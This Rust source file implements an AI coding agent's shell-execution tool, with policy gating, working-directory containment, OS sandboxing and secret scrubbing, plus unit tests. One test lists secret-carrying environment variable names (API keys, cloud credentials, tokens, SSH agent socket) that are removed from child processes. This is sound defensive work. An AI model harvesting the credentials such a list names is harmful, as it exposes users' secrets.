1use mermaid_domain::ProgressEvent;
24use std::path::{Path, PathBuf};
25use std::process::Stdio;
26use std::time::{Duration, Instant};
27
28use async_trait::async_trait;
29use tokio::io::{AsyncRead, AsyncReadExt, AsyncWriteExt};
30use tokio::process::Command;
31
32use mermaid_domain::{FilesystemPolicy, NetworkPolicy};
33use mermaid_domain::{ManagedProcess, ToolDefinition, ToolMetadata, ToolOutcome, ToolRunMetadata};
34use mermaid_model::constants::{COMMAND_MAX_TIMEOUT_SECS, COMMAND_TIMEOUT_SECS};
35
36use super::super::ctx::ExecContext;
37use super::ToolExecutor;
38
39pub struct ExecuteCommandTool;
49
50#[derive(Debug, Clone, Copy, PartialEq, Eq)]
51enum CommandMode {
52 Wait,
53 Background,
54}
55
56impl CommandMode {
57 pub(crate) fn parse(args: &serde_json::Value) -> Result<Self, String> {
58 match args.get("mode").and_then(|v| v.as_str()).unwrap_or("wait") {
59 "wait" | "foreground" => Ok(Self::Wait),
60 "background" => Ok(Self::Background),
61 other => Err(format!(
62 "execute_command: mode must be 'wait' or 'background', got '{other}'"
63 )),
64 }
65 }
66}
67
68#[derive(Debug, Clone, PartialEq, Eq)]
74pub(crate) struct SandboxPlan {
75 pub(crate) network: bool,
76 pub(crate) fs: bool,
77 pub(crate) confine_writes: Option<Vec<PathBuf>>,
82}
83
84impl SandboxPlan {
85 pub(crate) fn resolve(ctx: &ExecContext, effective_workdir: &Path) -> Self {
86 let sandbox_expected = cfg!(any(
90 target_os = "linux",
91 target_os = "macos",
92 target_os = "windows"
93 ));
94 let net_requested = matches!(ctx.config.safety.network, NetworkPolicy::Deny);
95 let fs_requested = matches!(ctx.config.safety.filesystem, FilesystemPolicy::Project);
96 let (net_available, fs_available) = sandbox_probes();
97 let network = net_requested && (sandbox_expected || net_available);
98 let fs = fs_requested && (sandbox_expected || fs_available);
99 if (net_requested && !net_available) || (fs_requested && !fs_available) {
100 static DEGRADED_WARN: std::sync::Once = std::sync::Once::new();
101 DEGRADED_WARN.call_once(|| {
102 if sandbox_expected {
103 tracing::warn!(
104 "sandbox policy requested but the OS sandbox backend probe failed; \
105 sandboxed commands will refuse to run (fail-closed)"
106 );
107 } else {
108 tracing::warn!(
109 "sandbox policy requested but no OS sandbox backend exists on this \
110 platform; commands run unconfined"
111 );
112 }
113 });
114 }
115 let confine_writes = fs.then(|| {
116 let mut dirs = vec![
117 ctx.workdir.clone(),
118 effective_workdir.to_path_buf(),
119 std::env::temp_dir(),
120 ];
121 if cfg!(unix) {
122 dirs.push(PathBuf::from("/dev"));
123 }
124 dirs.dedup();
125 dirs
126 });
127 Self {
128 network,
129 fs,
130 confine_writes,
131 }
132 }
133}
134
135#[async_trait]
136impl ToolExecutor for ExecuteCommandTool {
137 fn name(&self) -> &'static str {
138 "execute_command"
139 }
140
141 fn schema(&self) -> ToolDefinition {
142 ToolDefinition {
143 name: "execute_command".to_string(),
144 description:
145 "Run a shell command — PowerShell on Windows, sh on Linux/macOS; write the command in that shell's syntax. Use mode='wait' for finite commands, or mode='background' for dev servers and GUI/daemon-style commands that should keep running after the tool returns. Ctrl+C during foreground execution aborts the child immediately. The session scratchpad directory (for throwaway files) is exported to the child as MERMAID_SCRATCHPAD."
146 .to_string(),
147 input_schema: serde_json::json!({
148 "type": "object",
149 "properties": {
150 "command": { "type": "string", "description": "Shell command to run." },
151 "working_dir": { "type": "string", "description": "Override working directory (absolute)." },
152 "mode": {
153 "type": "string",
154 "enum": ["wait", "background"],
155 "default": "wait",
156 "description": "Use 'background' for long-running servers, daemons, and GUI launchers."
157 },
158 "timeout": {
159 "type": "integer",
160 "description": "Per-call foreground timeout in seconds. Default 30, max 300. Foreground timeout kills the child."
161 },
162 "startup_timeout_secs": {
163 "type": "integer",
164 "description": "Background mode: seconds to watch startup logs for readiness. Default 5, max 30."
165 },
166 "ready_pattern": {
167 "type": "string",
168 "description": "Background mode: text that marks the server/app ready when it appears in the startup log."
169 },
170 "open_url": {
171 "type": "string",
172 "description": "Background mode: URL to open with the default browser after startup."
173 }
174 },
175 "required": ["command"]
176 }),
177 }
178 }
179
180 #[expect(
181 clippy::too_many_lines,
182 reason = "the shell tool's whole path: cwd containment, the policy gate with its \
183 checkpoint, the background branch, the sandbox decision, then the PTY attempt with the \
184 pipe fallback; every stage reads the command, workdir and sandbox flags the earlier ones \
185 settled, and the two spawn paths must call the same finish so their semantics cannot \
186 drift, which is easiest to see with both in one place"
187 )]
188 async fn execute(&self, args: serde_json::Value, ctx: ExecContext) -> ToolOutcome {
189 let Some(command) = args.get("command").and_then(|v| v.as_str()) else {
190 return ToolOutcome::error("execute_command requires 'command' (string)", 0.0);
191 };
192
193 if contains_dangerous_command(command) {
194 return ToolOutcome::error(format!("Dangerous command blocked: {command}"), 0.0);
195 }
196
197 let (effective_workdir, within_project) = match args
204 .get("working_dir")
205 .and_then(|v| v.as_str())
206 {
207 Some(raw) => match super::path_safety::resolve_path_within(&ctx.workdir, raw) {
208 Ok(resolved) => resolved,
209 Err(e) => {
210 return ToolOutcome::error(format!("execute_command working_dir: {e}"), 0.0);
211 },
212 },
213 None => (ctx.workdir.clone(), true),
214 };
215 let containment = classify_cwd(
216 within_project,
217 &effective_workdir,
218 ctx.scratchpad.as_deref(),
219 );
220
221 let category = match containment {
222 CwdContainment::Project | CwdContainment::Scratchpad => {
223 mermaid_runtime::ToolCategory::Shell
224 },
225 CwdContainment::External => mermaid_runtime::ToolCategory::ExternalDirectory,
226 };
227 let scratch_contained = containment == CwdContainment::Scratchpad
230 && ctx
231 .scratchpad
232 .as_deref()
233 .is_some_and(|scratch| command_provably_in_scratch(command, scratch));
234 let mut policy_request =
235 mermaid_runtime::ActionRequest::new("execute_command", category, command.to_string());
236 policy_request.command = Some(command.to_string());
237 policy_request.cwd = Some(effective_workdir.clone());
241 if containment == CwdContainment::External {
242 policy_request.path = Some(effective_workdir.display().to_string());
243 }
244 let pending_action = serde_json::json!({
245 "tool": "execute_command",
246 "args": args.clone(),
247 "workdir": effective_workdir.display().to_string(),
248 "turn_id": ctx.turn.0,
249 "call_id": ctx.call_id.0,
250 "task_id": ctx.task_id.clone(),
251 });
252 let plan_write = match super::policy_gate::gate(
257 &ctx,
258 policy_request,
259 &[],
260 pending_action.clone(),
261 true,
262 scratch_contained,
263 )
264 .await
265 {
266 super::policy_gate::Gate::Block(outcome) => return outcome,
267 super::policy_gate::Gate::Proceed { risk, plan_write } => {
268 if !scratch_contained
271 && ctx.config.safety.checkpoint_on_mutation
272 && risk != mermaid_runtime::RiskClass::ReadOnly
273 {
274 let _ = mermaid_runtime::create_checkpoint_for_task(
275 &ctx.workdir,
276 &[],
277 Some(pending_action.clone()),
278 ctx.checkpoint_origin(),
279 );
280 }
281 plan_write
282 },
283 };
284
285 let mode = match CommandMode::parse(&args) {
286 Ok(mode) => mode,
287 Err(error) => return ToolOutcome::error(error, 0.0),
288 };
289 let shell_payload = serde_json::json!({
290 "task_id": ctx.task_id.clone(),
291 "turn_id": ctx.turn.0,
292 "call_id": ctx.call_id.0,
293 "command": command,
294 "working_dir": effective_workdir.display().to_string(),
295 });
296 let _ = mermaid_runtime::run_plugin_hooks("before_shell", &shell_payload);
297 let sandbox = SandboxPlan::resolve(&ctx, &effective_workdir);
298 if mode == CommandMode::Background {
299 let startup_timeout_secs = args
300 .get("startup_timeout_secs")
301 .or_else(|| args.get("startup_timeout"))
302 .and_then(|v| v.as_u64())
303 .unwrap_or(5)
304 .clamp(1, 30);
305 let ready_pattern = args
306 .get("ready_pattern")
307 .and_then(|v| v.as_str())
308 .map(str::to_string);
309 let open_url = args
310 .get("open_url")
311 .and_then(|v| v.as_str())
312 .filter(|v| !v.trim().is_empty())
313 .map(str::to_string);
314 let outcome = run_background_command(
315 command,
316 &sandbox,
317 &effective_workdir,
318 startup_timeout_secs,
319 ready_pattern.as_deref(),
320 open_url.as_deref(),
321 ctx,
322 )
323 .await;
324 let _ = mermaid_runtime::run_plugin_hooks(
325 "after_shell",
326 &serde_json::json!({
327 "command": command,
328 "status": format!("{:?}", outcome.status),
329 "summary": &outcome.summary,
330 }),
331 );
332 return outcome;
333 }
334
335 let timeout_secs = args
336 .get("timeout")
337 .and_then(|v| v.as_u64())
338 .unwrap_or(COMMAND_TIMEOUT_SECS)
339 .min(COMMAND_MAX_TIMEOUT_SECS);
340
341 let command = command.to_string();
342 let start = Instant::now();
343 let progress = ctx.progress.clone();
344
345 if ctx.config.exec.pty_enabled() {
352 let invocation =
353 shell_invocation(&command, sandbox.network, sandbox.confine_writes.as_deref());
354 match run_command_pty(
355 &invocation,
356 &effective_workdir,
357 ctx.scratchpad.as_deref(),
358 progress.clone(),
359 ctx.token.clone(),
360 ctx.background.clone(),
361 Duration::from_secs(timeout_secs),
362 )
363 .await
364 {
365 Ok(run) => {
366 let outcome = finish_foreground_command(
367 Ok(run),
368 &command,
369 &effective_workdir,
370 start,
371 timeout_secs,
372 sandbox.network,
373 sandbox.fs,
374 );
375 let _ = mermaid_runtime::run_plugin_hooks(
376 "after_shell",
377 &serde_json::json!({
378 "command": command,
379 "status": format!("{:?}", outcome.status),
380 "summary": &outcome.summary,
381 }),
382 );
383 return outcome;
384 },
385 Err(err) => {
388 tracing::warn!(error = %err, "PTY exec unavailable; falling back to pipes");
389 },
390 }
391 }
392
393 let mut cmd =
394 build_sandboxed_shell(&command, sandbox.network, sandbox.confine_writes.as_deref());
395 cmd.stdin(Stdio::null())
396 .stdout(Stdio::piped())
397 .stderr(Stdio::piped())
398 .kill_on_drop(false);
408
409 #[cfg(unix)]
422 unsafe {
423 cmd.pre_exec(|| {
424 rustix::process::setsid()?;
425 Ok(())
426 });
427 }
428
429 cmd.current_dir(&effective_workdir);
430 scrub_secret_env(&mut cmd);
431 harden_noninteractive_env(&mut cmd);
432 export_scratchpad_env(&mut cmd, ctx.scratchpad.as_deref());
433
434 let mut outcome = finish_foreground_command(
439 run_command(
440 cmd,
441 progress,
442 ctx.token.clone(),
443 ctx.background.clone(),
444 Duration::from_secs(timeout_secs),
445 )
446 .await,
447 &command,
448 &effective_workdir,
449 start,
450 timeout_secs,
451 sandbox.network,
452 sandbox.fs,
453 );
454 outcome.metadata.plan_file_written =
458 plan_write && outcome.status == mermaid_domain::ToolStatus::Success;
459 let _ = mermaid_runtime::run_plugin_hooks(
460 "after_shell",
461 &serde_json::json!({
462 "command": command,
463 "status": format!("{:?}", outcome.status),
464 "summary": &outcome.summary,
465 }),
466 );
467 outcome
468 }
469}
470
471#[expect(
476 clippy::too_many_lines,
477 reason = "one arm per CommandRunResult variant, each filling the full eleven-field command \
478 metadata for its case; the completed arm also maps sandbox denials to their messages, and \
479 the metadata literals are what make it long"
480)]
481fn finish_foreground_command(
482 result: std::io::Result<CommandRunResult>,
483 command: &str,
484 effective_workdir: &Path,
485 start: Instant,
486 timeout_secs: u64,
487 sandbox_network: bool,
488 sandbox_fs: bool,
489) -> ToolOutcome {
490 let command = command.to_string();
491 match result {
492 Ok(CommandRunResult::Completed(run)) => {
493 let duration_secs = start.elapsed().as_secs_f64();
494 let output_len = run.output.len();
495 let mut metadata = command_metadata(CommandMetadataInput {
496 command: command.clone(),
497 working_dir: Some(effective_workdir.display().to_string()),
498 exit_code: run.exit_code,
499 timed_out: false,
500 background: false,
501 stdout_lines: run.stdout_lines,
502 stderr_lines: run.stderr_lines,
503 detected_urls: all_urls(&run.output),
504 pid: None,
505 log_path: None,
506 byte_count: Some(output_len),
507 });
508 if let Some(kind) = detect_denial(&run, sandbox_network, sandbox_fs) {
509 if let ToolMetadata::ExecuteCommand {
513 denied_by_sandbox, ..
514 } = &mut metadata.detail
515 {
516 *denied_by_sandbox = true;
517 }
518 let message = match kind {
519 DenialKind::Network if cfg!(target_os = "linux") => {
523 NETWORK_DENIED_MESSAGE.to_string()
524 },
525 DenialKind::Network => format!(
526 "{HEDGED_NETWORK_DENIED_MESSAGE}\n\n--- original output ---\n{}",
527 run.output
528 ),
529 DenialKind::Filesystem => format!(
530 "{FS_DENIED_MESSAGE}\n\n--- original output ---\n{}",
531 run.output
532 ),
533 DenialKind::Ambiguous => format!(
534 "{AMBIGUOUS_DENIED_MESSAGE}\n\n--- original output ---\n{}",
535 run.output
536 ),
537 };
538 ToolOutcome::error(message, duration_secs).with_metadata(metadata)
539 } else {
540 ToolOutcome::success(run.output.clone(), "command completed", duration_secs)
541 .with_metadata(metadata)
542 }
543 },
544 Ok(CommandRunResult::Detached { pid, log_path }) => {
545 let duration_secs = start.elapsed().as_secs_f64();
547 let log_path_str = log_path.display().to_string();
548 let output = format!(
549 "Moved to background.\nPID: {pid}\nLog: {log_path_str}\nManage it with /processes, /logs {pid}, /stop {pid}."
550 );
551 let process = ManagedProcess {
552 id: format!("bg-{pid}"),
553 pid,
554 command: command.to_string(),
555 cwd: Some(effective_workdir.display().to_string()),
556 log_path: log_path_str.clone(),
557 detected_url: None,
558 status: mermaid_runtime::ProcessStatus::Running,
559 };
560 let mut metadata = command_metadata(CommandMetadataInput {
561 command: command.to_string(),
562 working_dir: Some(effective_workdir.display().to_string()),
563 exit_code: None,
564 timed_out: false,
565 background: true,
566 stdout_lines: 0,
567 stderr_lines: 0,
568 detected_urls: Vec::new(),
569 pid: Some(pid),
570 log_path: Some(log_path_str),
571 byte_count: Some(output.len()),
572 });
573 metadata.process = Some(process);
574 ToolOutcome::success(output, "moved to background", duration_secs)
575 .with_metadata(metadata)
576 },
577 Ok(CommandRunResult::Cancelled) => ToolOutcome::cancelled(),
578 Ok(CommandRunResult::TimedOut) => {
579 let message = format!(
580 "Command timed out after {timeout_secs} seconds and was killed. \
581 For dev servers, GUI apps, or other long-running commands, call execute_command with mode=\"background\"."
582 );
583 let duration_secs = start.elapsed().as_secs_f64();
584 ToolOutcome::error(message, duration_secs).with_metadata(command_metadata(
585 CommandMetadataInput {
586 command: command.clone(),
587 working_dir: Some(effective_workdir.display().to_string()),
588 exit_code: None,
589 timed_out: true,
590 background: false,
591 stdout_lines: 0,
592 stderr_lines: 0,
593 detected_urls: Vec::new(),
594 pid: None,
595 log_path: None,
596 byte_count: None,
597 },
598 ))
599 },
600 Err(e) => {
601 let duration_secs = start.elapsed().as_secs_f64();
602 ToolOutcome::error(format!("Command failed: {e}"), duration_secs).with_metadata(
603 command_metadata(CommandMetadataInput {
604 command: command.clone(),
605 working_dir: Some(effective_workdir.display().to_string()),
606 exit_code: None,
607 timed_out: false,
608 background: false,
609 stdout_lines: 0,
610 stderr_lines: 0,
611 detected_urls: Vec::new(),
612 pid: None,
613 log_path: None,
614 byte_count: None,
615 }),
616 )
617 },
618 }
619}
620
621pub(crate) mod background;
622pub(crate) mod capture;
623pub(crate) mod pty;
624pub(crate) mod sandbox;
625pub(crate) mod shell;
626
627pub(crate) use background::*;
628pub(crate) use capture::*;
629pub(crate) use pty::*;
630pub(crate) use sandbox::*;
631pub(crate) use shell::*;
632
633#[cfg(test)]
634mod tests {
635 use super::*;
636 use crate::providers::ctx::test_exec_context;
637 use mermaid_domain::{ToolCallId, TurnId};
638 use std::path::PathBuf;
639
640 #[test]
641 pub(crate) fn network_denial_detects_sigsys_and_reaped_child_exit() {
642 let out = |exit: Option<i32>, signal: Option<i32>| CommandRunOutput {
643 output: String::new(),
644 exit_code: exit,
645 signal,
646 stdout_lines: 0,
647 stderr_lines: 0,
648 };
649 assert!(is_sigsys_denial(&out(None, Some(31))));
651 assert!(is_sigsys_denial(&out(Some(159), None)));
653 assert!(!is_sigsys_denial(&out(Some(1), None)));
655 assert!(!is_sigsys_denial(&out(Some(0), None)));
656 assert!(!is_sigsys_denial(&out(None, Some(11)))); }
658
659 #[test]
660 pub(crate) fn detect_denial_gates_on_active_policies() {
661 let out = |exit: Option<i32>, signal: Option<i32>, output: &str| CommandRunOutput {
662 output: output.to_string(),
663 exit_code: exit,
664 signal,
665 stdout_lines: 0,
666 stderr_lines: 0,
667 };
668 assert_eq!(
671 detect_denial(&out(Some(159), None, "Permission denied"), false, false),
672 None
673 );
674 assert_eq!(detect_denial(&out(None, Some(31), ""), false, false), None);
675 assert_eq!(detect_denial(&out(Some(0), None, ""), true, true), None);
677 #[cfg(target_os = "linux")]
678 {
679 assert_eq!(
682 detect_denial(&out(None, Some(31), ""), true, true),
683 Some(DenialKind::Network)
684 );
685 assert_eq!(
686 detect_denial(&out(Some(1), None, "Permission denied"), false, true),
687 Some(DenialKind::Filesystem)
688 );
689 assert_eq!(
692 detect_denial(&out(Some(1), None, "Permission denied"), true, false),
693 None
694 );
695 }
696 #[cfg(target_os = "macos")]
697 {
698 let eperm = out(Some(1), None, "curl: Operation not permitted");
700 assert_eq!(
701 detect_denial(&eperm, true, false),
702 Some(DenialKind::Network)
703 );
704 assert_eq!(
705 detect_denial(&eperm, false, true),
706 Some(DenialKind::Filesystem)
707 );
708 assert_eq!(
709 detect_denial(&eperm, true, true),
710 Some(DenialKind::Ambiguous)
711 );
712 }
713 }
714
715 #[test]
716 pub(crate) fn fs_denial_requires_failure_and_permission_signature() {
717 let out = |exit: Option<i32>, output: &str| CommandRunOutput {
718 output: output.to_string(),
719 exit_code: exit,
720 signal: None,
721 stdout_lines: 0,
722 stderr_lines: 0,
723 };
724 assert!(is_permission_denial(&out(
726 Some(1),
727 "sh: line 1: /etc/nope: Permission denied"
728 )));
729 assert!(is_permission_denial(&out(
730 Some(2),
731 "touch: Operation not permitted"
732 )));
733 assert!(!is_permission_denial(&out(
735 Some(0),
736 "grep found: Permission denied"
737 )));
738 assert!(!is_permission_denial(&out(Some(1), "some other failure")));
740 assert!(!is_permission_denial(&out(None, "Permission denied")));
741 }
742
743 #[test]
744 pub(crate) fn sandboxed_shell_wraps_only_when_requested() {
745 let plain = build_sandboxed_shell("echo hi", false, None);
746 let plain_prog = plain.as_std().get_program().to_string_lossy().into_owned();
747 assert!(
748 ["sh", "pwsh", "powershell"].contains(&plain_prog.as_str()),
749 "plain shell program: {plain_prog}"
750 );
751
752 let wrapped = build_sandboxed_shell("echo hi", true, None);
753 let args: Vec<String> = wrapped
754 .as_std()
755 .get_args()
756 .map(|a| a.to_string_lossy().into_owned())
757 .collect();
758 assert_eq!(args.first().map(String::as_str), Some("__sandbox-exec"));
759 assert!(args.contains(&"--no-network".to_string()));
760 assert!(!args.contains(&"--confine-writes".to_string()));
761 assert!(
762 args.iter()
763 .any(|a| ["sh", "pwsh", "powershell"].contains(&a.as_str())),
764 "args: {args:?}"
765 );
766 }
767
768 #[test]
769 pub(crate) fn sandboxed_shell_passes_confine_writes_dirs() {
770 let dirs = vec![PathBuf::from("/proj"), PathBuf::from("/dev")];
771 let wrapped = build_sandboxed_shell("echo hi", false, Some(&dirs));
772 let args: Vec<String> = wrapped
773 .as_std()
774 .get_args()
775 .map(|a| a.to_string_lossy().into_owned())
776 .collect();
777 assert_eq!(args.first().map(String::as_str), Some("__sandbox-exec"));
778 assert!(!args.contains(&"--no-network".to_string()));
779 assert_eq!(
781 args.iter().filter(|a| *a == "--confine-writes").count(),
782 2,
783 "args: {args:?}"
784 );
785 assert!(args.contains(&"/proj".to_string()));
786 assert!(args.contains(&"/dev".to_string()));
787 }
788
789 #[test]
790 pub(crate) fn powershell_wrap_carries_stop_pref_and_exit_code_trailer() {
791 let wrapped = powershell_wrap("cargo build");
792 assert!(wrapped.starts_with("$ErrorActionPreference='Stop'\n"));
793 assert!(wrapped.contains("cargo build"));
794 assert!(wrapped.ends_with("{ exit $LASTEXITCODE }"));
795 }
796
797 #[cfg(target_os = "windows")]
798 #[test]
799 pub(crate) fn windows_shell_invocation_is_powershell() {
800 let inv = shell_invocation("echo hi", false, None);
801 let prog = inv.program.to_string_lossy().into_owned();
802 assert!(prog == "pwsh" || prog == "powershell", "program: {prog}");
803 let args: Vec<String> = inv
804 .args
805 .iter()
806 .map(|a| a.to_string_lossy().into_owned())
807 .collect();
808 assert_eq!(&args[..3], ["-NoProfile", "-NonInteractive", "-Command"]);
809 assert!(args[3].contains("echo hi"), "args: {args:?}");
810 }
811
812 #[cfg(target_os = "windows")]
816 #[tokio::test]
817 async fn windows_native_exit_code_propagates() {
818 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
819 let outcome = ExecuteCommandTool
820 .execute(serde_json::json!({"command": "cmd /c exit 7"}), ctx)
821 .await;
822 match &outcome.metadata.detail {
823 mermaid_domain::ToolMetadata::ExecuteCommand { exit_code, .. } => {
824 assert_eq!(*exit_code, Some(7), "outcome: {outcome:?}");
825 },
826 other => panic!("unexpected metadata: {other:?}"),
827 }
828 }
829
830 #[cfg(target_os = "windows")]
832 #[tokio::test]
833 async fn windows_powershell_syntax_works() {
834 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), std::env::temp_dir());
835 let outcome = ExecuteCommandTool
836 .execute(
837 serde_json::json!({"command": "Write-Output ('mermaid-' + 'ps')"}),
838 ctx,
839 )
840 .await;
841 assert!(outcome.is_success(), "outcome: {outcome:?}");
842 assert!(
843 outcome.output().contains("mermaid-ps"),
844 "output: {}",
845 outcome.output()
846 );
847 }
848
849 #[tokio::test]
850 async fn tee_log_is_capped() {
851 let dir = std::env::temp_dir().join(format!("mermaid_teelog_{}", std::process::id()));
855 let _ = std::fs::create_dir_all(&dir);
856 let path = dir.join("log.txt");
857 let file = tokio::fs::File::create(&path).await.unwrap();
858 let log = std::sync::Arc::new(tokio::sync::Mutex::new(file));
859 let data = vec![b'x'; 4000];
861 let _ = read_capped(&data[..], 1_000_000, 16, None, Some(log)).await;
862 let written = std::fs::read(&path).unwrap();
863 assert!(
864 written.len() < 200,
865 "log must be capped near 16 bytes + marker, got {}",
866 written.len()
867 );
868 assert!(String::from_utf8_lossy(&written).contains("log truncated"));
869 let _ = std::fs::remove_dir_all(&dir);
870 }
871
872 #[cfg(unix)]
873 #[test]
874 pub(crate) fn tee_log_created_owner_only_and_refuses_existing() {
875 use std::os::unix::fs::PermissionsExt;
880 let dir = std::env::temp_dir().join(format!("mermaid_loghard_{}", std::process::id()));
881 let _ = std::fs::create_dir_all(&dir);
882 let path = dir.join("bg.log");
883 let _ = std::fs::remove_file(&path);
884
885 let file = create_log_file_blocking(&path).expect("first create succeeds");
886 drop(file);
887 let mode = std::fs::metadata(&path).unwrap().permissions().mode() & 0o777;
888 assert_eq!(mode, 0o600, "tee log must be owner-only, got {mode:o}");
889
890 assert!(
893 create_log_file_blocking(&path).is_err(),
894 "O_EXCL must refuse an existing path"
895 );
896 let _ = std::fs::remove_dir_all(&dir);
897 }
898
899 #[test]
900 pub(crate) fn secret_env_name_denylist_covers_common_carriers() {
901 for name in [
903 "ANTHROPIC_API_KEY",
904 "AWS_SECRET_ACCESS_KEY",
905 "GITHUB_TOKEN",
906 "MY_SERVICE_PRIVATE_KEY",
907 "DATABASE_URL",
908 "SENTRY_DSN",
909 "SLACK_WEBHOOK_URL",
910 "KUBECONFIG",
911 "SSH_AUTH_SOCK",
912 "DB_PASSWORD",
913 "PG_CONNECTION_STRING",
914 ] {
915 assert!(is_secret_env_name(name), "{name} should be scrubbed");
916 }
917 for name in [
919 "PATH",
920 "HOME",
921 "CARGO_HOME",
922 "LANG",
923 "XAUTHORITY",
924 "RUSTUP_HOME",
925 ] {
926 assert!(!is_secret_env_name(name), "{name} should NOT be scrubbed");
927 }
928 }
929
930 #[tokio::test]
931 async fn out_of_project_working_dir_is_escalated_and_blocked() {
932 let project = std::env::temp_dir().join(format!("mermaid_wd_{}", std::process::id()));
937 let _ = std::fs::remove_dir_all(&project);
938 std::fs::create_dir_all(&project).unwrap();
939 let outside = project.parent().unwrap().to_path_buf();
940
941 let mk_ctx = || {
942 let mut config = mermaid_domain::Config::default();
943 config.safety.mode = mermaid_runtime::SafetyMode::ReadOnly;
944 crate::providers::ctx::test_exec_context_with_config(
945 TurnId(1),
946 ToolCallId(1),
947 project.clone(),
948 config,
949 )
950 };
951
952 let (ctx, _rx) = mk_ctx();
953 let outcome = ExecuteCommandTool
954 .execute(serde_json::json!({"command": "echo hi"}), ctx)
955 .await;
956 assert!(
957 outcome.is_success(),
958 "in-project read-only echo should run: {outcome:?}",
959 );
960
961 let (ctx, _rx) = mk_ctx();
962 let outcome = ExecuteCommandTool
963 .execute(
964 serde_json::json!({
965 "command": "echo hi",
966 "working_dir": outside.display().to_string(),
967 }),
968 ctx,
969 )
970 .await;
971 assert_eq!(
972 outcome.status,
973 mermaid_domain::ToolStatus::Error,
974 "out-of-project working_dir must be escalated + blocked: {outcome:?}",
975 );
976
977 let _ = std::fs::remove_dir_all(&project);
978 }
979
980 #[tokio::test]
986 async fn plan_write_carve_out_respects_the_effective_working_dir() {
987 let project = std::env::temp_dir().join(format!("mermaid_planwd_{}", std::process::id()));
988 let _ = std::fs::remove_dir_all(&project);
989 std::fs::create_dir_all(project.join(".mermaid/plans")).unwrap();
990 std::fs::create_dir_all(project.join("sub")).unwrap();
993 let plan_file = project.join(".mermaid/plans/x.md");
994
995 let mk_ctx = || {
996 let mut config = mermaid_domain::Config::default();
997 config.safety.mode = mermaid_runtime::SafetyMode::ReadOnly;
998 config.safety.checkpoint_on_mutation = false;
999 let (mut ctx, rx) = crate::providers::ctx::test_exec_context_with_config(
1000 TurnId(1),
1001 ToolCallId(1),
1002 project.clone(),
1003 config,
1004 );
1005 ctx.plan_file = Some(plan_file.clone());
1006 (ctx, rx)
1007 };
1008
1009 let (ctx, _rx) = mk_ctx();
1012 let outcome = ExecuteCommandTool
1013 .execute(
1014 serde_json::json!({"command": "echo plan > .mermaid/plans/x.md"}),
1015 ctx,
1016 )
1017 .await;
1018 assert!(
1019 outcome.is_success(),
1020 "plan write must be allowed: {outcome:?}"
1021 );
1022 assert!(
1023 plan_file.exists(),
1024 "the plan file is the file that got written"
1025 );
1026
1027 let (ctx, _rx) = mk_ctx();
1031 let outcome = ExecuteCommandTool
1032 .execute(
1033 serde_json::json!({
1034 "command": "echo elsewhere > .mermaid/plans/x.md",
1035 "working_dir": project.join("sub").display().to_string(),
1036 }),
1037 ctx,
1038 )
1039 .await;
1040 assert_eq!(
1041 outcome.status,
1042 mermaid_domain::ToolStatus::Error,
1043 "a plan-relative write from another cwd is not a plan write: {outcome:?}",
1044 );
1045 assert!(
1046 !project.join("sub/.mermaid/plans/x.md").exists(),
1047 "nothing may be written outside the plan path",
1048 );
1049
1050 let _ = std::fs::remove_dir_all(&project);
1051 }
1052
1053 #[tokio::test]
1054 async fn safe_command_runs_and_captures_output() {
1055 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1056 let outcome = ExecuteCommandTool
1059 .execute(serde_json::json!({"command": "echo 'hello world'"}), ctx)
1060 .await;
1061 assert!(outcome.is_success(), "expected success: {outcome:?}");
1062 assert!(outcome.output().contains("hello world"));
1063 }
1064
1065 #[cfg(target_os = "linux")]
1070 #[tokio::test]
1071 async fn foreground_child_runs_in_new_session() {
1072 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1073 let outcome = ExecuteCommandTool
1074 .execute(
1075 serde_json::json!({
1076 "command": r#"test "$(awk '{print $6}' /proc/$$/stat)" = "$$" && echo NEW_SESSION_OK || echo "NOT_A_SESSION_LEADER sid=$(awk '{print $6}' /proc/$$/stat) pid=$$""#,
1077 }),
1078 ctx,
1079 )
1080 .await;
1081 assert!(outcome.is_success(), "expected success: {outcome:?}");
1082 assert!(
1083 outcome.output().contains("NEW_SESSION_OK"),
1084 "child shell is not a session leader: {}",
1085 outcome.output()
1086 );
1087 }
1088
1089 #[cfg(unix)]
1094 #[tokio::test]
1095 async fn pty_child_dev_tty_is_the_captured_pty() {
1096 let (ctx, _rx) = test_exec_context(TurnId(1), ToolCallId(1), PathBuf::from("/tmp"));
1097 let outcome = ExecuteCommandTool
1098 .execute(
1099 serde_json::json!({
1100 "command": "if echo CAPTURED_BY_PTY > /dev/tty 2>/dev/null; then echo TTY_OPEN_OK; else echo TTY_OPEN_DENIED; fi",
1101 }),
1102 ctx,
1103 )
1104 .await;
1105 assert!(outcome.is_success(), "expected success: {outcome:?}");
1106 assert!(
1107 outcome.output().contains("TTY_OPEN_OK"),
1108 "PTY child should see a controlling terminal: {}",
1109 outcome.output()
1110 );
1111 assert!(
1112 outcome.output().contains("CAPTURED_BY_PTY"),
1113 "/dev/tty writes must land in the CAPTURE, not the user's terminal: {}",
1114 outcome.output()
1115 );
1116 }
1117
1118 #[cfg(unix)]
1124 #[tokio::test]
1125 async fn foreground_child_cannot_open_dev_tty() {
1126 if std::fs::File::open("/dev/tty").is_err() {
1127 eprintln!("skipped: no controlling terminal in test environment");
1128 return;
1129 }
1130 let (ctx, _rx) = pipes_ctx();
1131 let outcome = ExecuteCommandTool
1132 .execute(
1133 serde_json::json!({
1134 "command": "if echo x > /dev/tty 2>/dev/null; then echo TTY_OPEN_OK; else echo TTY_OPEN_DENIED; fi",
1135 }),
1136 ctx,
1137 )
1138 .await;
1139 assert!(
1140 outcome.output().contains("TTY_OPEN_DENIED"),
1141 "session-detached child could still open /dev/tty: {}",
1142 outcome.output()
1143 );
1144 }
1145
1146 pub(crate) fn pipes_ctx() -> (
1148 crate::providers::ctx::ExecContext,
1149 tokio::sync::mpsc::Receiver<mermaid_domain::ProgressEvent>,
1150 ) {
1151 let mut config = mermaid_domain::Config::default();
1152 config.safety.mode = mermaid_runtime::SafetyMode::FullAccess;
1153 config.exec.pty = Some(false);
1154 crate::providers::ctx::test_exec_context_with_config(
1155 TurnId(1),
1156 ToolCallId(1),
1157 std::env::temp_dir(),
1158 config,
1159 )
1160 }
1161
1162 #[cfg(unix)]
1163 #[tokio::test]
1164 async fn pty_child_sees_a_terminal_and_pipes_child_does_not() {
